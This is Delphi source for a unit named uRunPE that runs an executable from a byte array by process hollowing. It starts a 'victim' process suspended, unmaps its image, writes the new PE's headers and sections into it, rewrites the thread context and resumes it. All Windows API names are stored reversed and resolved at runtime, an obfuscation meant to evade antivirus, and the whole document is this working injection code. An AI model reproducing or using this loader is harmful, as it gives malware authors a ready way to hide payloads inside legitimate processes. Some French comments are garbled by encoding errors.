uRunPE
Author: Anonymous
Description: Run Executables as Byte Arrays
Modified: The Swash http://www.onlyprogrammers.org
}
unit uRunPE;
interface
uses Windows;
type
TByteArray = array of Byte;
function RMem(sVictim:string; bFile:TByteArray):Boolean;
implementation
//Steve10120 RtlMoveMemory
procedure Move(Destination, Source:Pointer; Length:DWORD);
asm
PUSHAD
MOV ESI, Source
MOV EDI, Destination
MOV ECX, Length
REP MOVSB
POPAD
end;
// The Swash StringReverse
function StrReverse(lpzBuff:String):String;
var
B: Integer;
begin
for b := Length(lpzBuff) downto 1 do
begin
Result := Result + lpzBuff[b];
end;
end;
function RMem(sVictim:string; bFile:TByteArray):Boolean;
var
IDH: TImageDosHeader;
INH: TImageNtHeaders;
ISH: TImageSectionHeader;
PI: TProcessInformation;
SI: TStartUpInfo;
CONT: TContext; // Contient des donn閑s du registre sp閏ifique aux processus
ImageBase: Pointer;
Ret: DWORD;
i: integer;
Addr: DWORD;
dOffset: DWORD;
NUVOfS: function(Processhandle:THandle;BaseAddr:Pointer):DWORD;stdcall; //NtUnmapViewOfSection
GCT: function(TTheard:Cardinal;var I: _CONTEXT):Boolean;stdcall; //GetThreadContext
RPM: function(hProcess:Cardinal;const lpBaseAddress:Pointer;lpBuffer:Pointer;nSize:Cardinal;var lpNumberOfBytesRead:Cardinal):Boolean;stdcall; //ReadProcessmemory
VAEx: function(hProcess:Cardinal;lpAddress:Pointer;dwSize:Cardinal;flAllocType:Cardinal;flProtect:Cardinal):Pointer;stdcall; // VirtualAllocEx
WPM: function(hProcess:Cardinal;const lpBaseAddress:Pointer;lpBuffer:Pointer;nSize:Cardinal;var lpNumberOfBytesRead:Cardinal):Boolean;stdcall; //WriteProcessMemory
STC: function(TTheard:Cardinal;var I: _CONTEXT):Boolean;stdcall; //SetThreadContext
RT: function(TTheard:Cardinal):DWORD;stdcall; //ResumeThread
CP: function(lpApplicationName:PAnsiChar;lpCommandLine:PAnsiChar;lpProcessAttributes:PSecurityAttributes;lpThreadAttributes:PSecurityAttributes;bInheritnHandles:LongBool;dwCreationFlags:Cardinal;lpEnvironment:Pointer;lpCurrentDirectory:PAnsiChar;const lpStartupInfo:_STARTUPINFOA; var lpProcessInformation:_PROCESS_INFORMATION):Boolean;stdcall; //CreateProcessA
CH: function(TThread:Cardinal):LongBool;stdcall;
begin
Result := FALSE;
try
Move(@IDH, @bFile[0], 64);
if IDH.e_magic = IMAGE_DOS_SIGNATURE then // Si la signature est valide (MZ)
begin
Move(@INH, @bFile[IDH._lfanew], 248); // On lit l'ent阾e PE
if INH.Signature = IMAGE_NT_SIGNATURE then // Si la signature est valide (PE\0\0)
begin
(* Initialisation de TStartupInfo et TProcessInformation *)
FillChar(SI, SizeOf(TStartupInfo),#0);
FillChar(PI, SizeOf(TProcessInformation),#0);
SI.cb := SizeOf(TStartupInfo);
CP:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('AssecorPetaerC')));
if CP(nil, PChar(sVictim), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then // On met en "pause" le processus
begin
CONT.ContextFlags := CONTEXT_FULL; // CONTEXT_FULL (CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS)
GCT:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('txetnoCdaerhTteG')));
if GCt(PI.hThread, CONT) then // Retourne le context du thread courant
begin
RPM:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('yromeMssecorPdaeR')));
RPM(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret); // Retourne dans Addr le contenu du processus
NUVOfS:=GetProcAddress(GetModuleHandle(PChar(StrReverse('lldtn'))),PChar(StrReverse('noitceSfOweiVpamnUtN')));
NUVOfS(PI.hProcess, @Addr); // Map une section en m閙oire
VAEx:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('xEcollAlautriV')));
ImageBase := VAEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE); // R閟erve l'espace n閏essaire
WPM:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('yromeMssecorPetirW')));
WPM(PI.hProcess, ImageBase, @bFile[0], INH.OptionalHeader.SizeOfHeaders, Ret); // Ecrit l'ImageBase dans le processus
dOffset := IDH._lfanew + 248; // SizeOf(TImageNtHeaders) = 248
for i := 0 to INH.FileHeader.NumberOfSections - 1 do // On liste toutes les sections
begin
Move(@ISH, @bFile[dOffset + (i * 40)], 40); // Une section fait 40 octets
WPM(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret); // On inscrit la section dans le processus
end;
WPM(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret); // Modifie le context
CONT.Eax := Cardinal(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint; // L'adresse ou l'on va charger le tout
STC:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('txetnoCdaerhTteS')));
STC(PI.hThread, CONT); // Modifie une derni閞e fois le context
RT:= GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('daerhTemuseR')));
RT(PI.hThread); // On execute
Result := TRUE;
end;
end;
end;
end;
except
CH:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('eldnaHesolC')));
CH(PI.hProcess);
CH(PI.hThread);
end;
end;
end.